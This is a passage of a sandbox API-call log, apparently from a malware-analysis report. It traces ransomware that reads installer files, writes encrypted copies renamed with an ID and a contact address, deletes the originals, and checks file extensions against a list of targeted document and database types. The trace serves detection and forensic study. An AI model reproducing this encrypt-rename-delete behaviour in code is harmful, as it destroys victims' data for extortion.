	[0042.688] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.688] WriteFile (in: hFile=0x300, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.688] SetEndOfFile (hFile=0x300) returned 1
	[0042.689] CloseHandle (hObject=0x300) returned 1
	[0042.689] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.689] SetEndOfFile (hFile=0x2d0) returned 1
	[0042.690] CloseHandle (hObject=0x2d0) returned 1
	[0042.690] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.690] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1
	[0042.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.691] lstrlenW (lpString=".doc") returned 4
	[0042.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.691] lstrlenW (lpString=".docx") returned 5
	[0042.691] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.691] lstrlenW (lpString=".pdf") returned 4
	[0042.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.691] lstrlenW (lpString=".xls") returned 4
	[0042.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.691] lstrlenW (lpString=".xlsx") returned 5
	[0042.691] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.691] lstrlenW (lpString=".ppt") returned 4
	[0042.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.691] lstrlenW (lpString=".zip") returned 4
	[0042.691] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.691] lstrlenW (lpString=".rar") returned 4
	[0042.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.691] lstrlenW (lpString=".bz2") returned 4
	[0042.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.691] lstrlenW (lpString=".7z") returned 3
	[0042.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.691] lstrlenW (lpString=".dbf") returned 4
	[0042.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.691] lstrlenW (lpString=".1cd") returned 4
	[0042.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.691] lstrlenW (lpString=".jpg") returned 4
	[0042.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.692] lstrlenW (lpString=".doc") returned 4
	[0042.692] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.692] lstrlenW (lpString=".docx") returned 5
	[0042.692] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.692] lstrlenW (lpString=".pdf") returned 4
	[0042.692] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.692] lstrlenW (lpString=".xls") returned 4
	[0042.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.692] lstrlenW (lpString=".xlsx") returned 5
	[0042.692] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.692] lstrlenW (lpString=".ppt") returned 4
	[0042.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.692] lstrlenW (lpString=".zip") returned 4
	[0042.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.692] lstrlenW (lpString=".rar") returned 4
	[0042.692] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.692] lstrlenW (lpString=".bz2") returned 4
	[0042.692] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.692] lstrlenW (lpString=".7z") returned 3
	[0042.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.692] lstrlenW (lpString=".dbf") returned 4
	[0042.692] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.692] lstrlenW (lpString=".1cd") returned 4
	[0042.692] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0042.692] lstrlenW (lpString=".jpg") returned 4
	[0042.692] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.692] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.693] lstrlenW (lpString="Rotate2.ico") returned 11
	[0042.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.736] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=894) returned 1
	[0042.737] CloseHandle (hObject=0x304) returned 1
	[0042.737] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80
	[0042.737] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.737] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.737] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.739] GetLastError () returned 0x0
	[0042.739] ReadFile (in: hFile=0x304, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.824] WriteFile (in: hFile=0x338, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.824] ReadFile (in: hFile=0x304, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.825] WriteFile (in: hFile=0x338, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.825] SetEndOfFile (hFile=0x338) returned 1
	[0042.825] CloseHandle (hObject=0x338) returned 1
	[0042.825] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.825] SetEndOfFile (hFile=0x304) returned 1
	[0042.826] CloseHandle (hObject=0x304) returned 1
	[0042.826] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.826] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1
	[0042.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.827] lstrlenW (lpString=".doc") returned 4
	[0042.827] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.827] lstrlenW (lpString=".docx") returned 5
	[0042.827] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0042.827] lstrlenW (lpString=".pdf") returned 4
	[0042.827] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.827] lstrlenW (lpString=".xls") returned 4
	[0042.827] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.827] lstrlenW (lpString=".xlsx") returned 5
	[0042.827] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0042.827] lstrlenW (lpString=".ppt") returned 4
	[0042.827] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.827] lstrlenW (lpString=".zip") returned 4
	[0042.827] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.827] lstrlenW (lpString=".rar") returned 4
	[0042.827] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.827] lstrlenW (lpString=".bz2") returned 4
	[0042.827] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.827] lstrlenW (lpString=".7z") returned 3
	[0042.827] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.827] lstrlenW (lpString=".dbf") returned 4
	[0042.827] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString=".1cd") returned 4
	[0042.828] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString=".jpg") returned 4
	[0042.828] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString=".doc") returned 4
	[0042.828] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.828] lstrlenW (lpString=".docx") returned 5
	[0042.828] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0042.828] lstrlenW (lpString=".pdf") returned 4
	[0042.828] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.828] lstrlenW (lpString=".xls") returned 4
	[0042.828] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.828] lstrlenW (lpString=".xlsx") returned 5
	[0042.828] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0042.828] lstrlenW (lpString=".ppt") returned 4
	[0042.828] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString=".zip") returned 4
	[0042.828] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.828] lstrlenW (lpString=".rar") returned 4
	[0042.828] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.828] lstrlenW (lpString=".bz2") returned 4
	[0042.828] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.828] lstrlenW (lpString=".7z") returned 3
	[0042.828] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString=".dbf") returned 4
	[0042.828] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString=".1cd") returned 4
	[0042.828] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0042.828] lstrlenW (lpString=".jpg") returned 4
	[0042.828] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.829] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.829] lstrlenW (lpString="Rotate8.ico") returned 11
	[0042.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.855] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=894) returned 1
	[0042.855] CloseHandle (hObject=0x334) returned 1
	[0042.855] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80
	[0042.855] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.855] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.855] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.855] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.855] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0042.856] GetLastError () returned 0x0
	[0042.856] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.890] WriteFile (in: hFile=0x344, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.891] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.891] WriteFile (in: hFile=0x344, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.891] SetEndOfFile (hFile=0x344) returned 1
	[0042.891] CloseHandle (hObject=0x344) returned 1
	[0042.892] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.892] SetEndOfFile (hFile=0x334) returned 1
	[0042.893] CloseHandle (hObject=0x334) returned 1
	[0042.893] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.893] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1
	[0042.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString=".doc") returned 4
	[0042.894] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.894] lstrlenW (lpString=".docx") returned 5
	[0042.894] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0042.894] lstrlenW (lpString=".pdf") returned 4
	[0042.894] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.894] lstrlenW (lpString=".xls") returned 4
	[0042.894] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.894] lstrlenW (lpString=".xlsx") returned 5
	[0042.894] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0042.894] lstrlenW (lpString=".ppt") returned 4
	[0042.894] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString=".zip") returned 4
	[0042.894] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.894] lstrlenW (lpString=".rar") returned 4
	[0042.894] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.894] lstrlenW (lpString=".bz2") returned 4
	[0042.894] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.894] lstrlenW (lpString=".7z") returned 3
	[0042.894] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString=".dbf") returned 4
	[0042.894] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString=".1cd") returned 4
	[0042.894] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString=".jpg") returned 4
	[0042.894] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.894] lstrlenW (lpString=".doc") returned 4
	[0042.894] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.894] lstrlenW (lpString=".docx") returned 5
	[0042.895] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0042.895] lstrlenW (lpString=".pdf") returned 4
	[0042.895] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.895] lstrlenW (lpString=".xls") returned 4
	[0042.895] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.895] lstrlenW (lpString=".xlsx") returned 5
	[0042.895] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0042.895] lstrlenW (lpString=".ppt") returned 4
	[0042.895] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.895] lstrlenW (lpString=".zip") returned 4
	[0042.895] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.895] lstrlenW (lpString=".rar") returned 4
	[0042.895] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.895] lstrlenW (lpString=".bz2") returned 4
	[0042.895] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.895] lstrlenW (lpString=".7z") returned 3
	[0042.895] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.895] lstrlenW (lpString=".dbf") returned 4
	[0042.895] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.895] lstrlenW (lpString=".1cd") returned 4
	[0042.895] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0042.895] lstrlenW (lpString=".jpg") returned 4
	[0042.895] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.896] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.896] lstrlenW (lpString="SysReqMet.ico") returned 13
	[0042.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.896] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=1150) returned 1
	[0042.896] CloseHandle (hObject=0x334) returned 1
	[0042.896] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80
	[0042.896] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.896] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.896] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0042.896] GetLastError () returned 0x0
	[0042.896] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0042.928] WriteFile (in: hFile=0x344, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x480, lpOverlapped=0x0) returned 1
	[0042.929] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.929] WriteFile (in: hFile=0x344, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xee, lpOverlapped=0x0) returned 1
	[0042.929] SetEndOfFile (hFile=0x344) returned 1
	[0042.929] CloseHandle (hObject=0x344) returned 1
	[0042.930] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.930] SetEndOfFile (hFile=0x334) returned 1
	[0042.931] CloseHandle (hObject=0x334) returned 1
	[0042.931] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.931] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1
	[0042.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.931] lstrlenW (lpString=".doc") returned 4
	[0042.931] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.931] lstrlenW (lpString=".docx") returned 5
	[0042.931] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0042.931] lstrlenW (lpString=".pdf") returned 4
	[0042.932] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.932] lstrlenW (lpString=".xls") returned 4
	[0042.932] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.932] lstrlenW (lpString=".xlsx") returned 5
	[0042.932] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0042.932] lstrlenW (lpString=".ppt") returned 4
	[0042.932] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
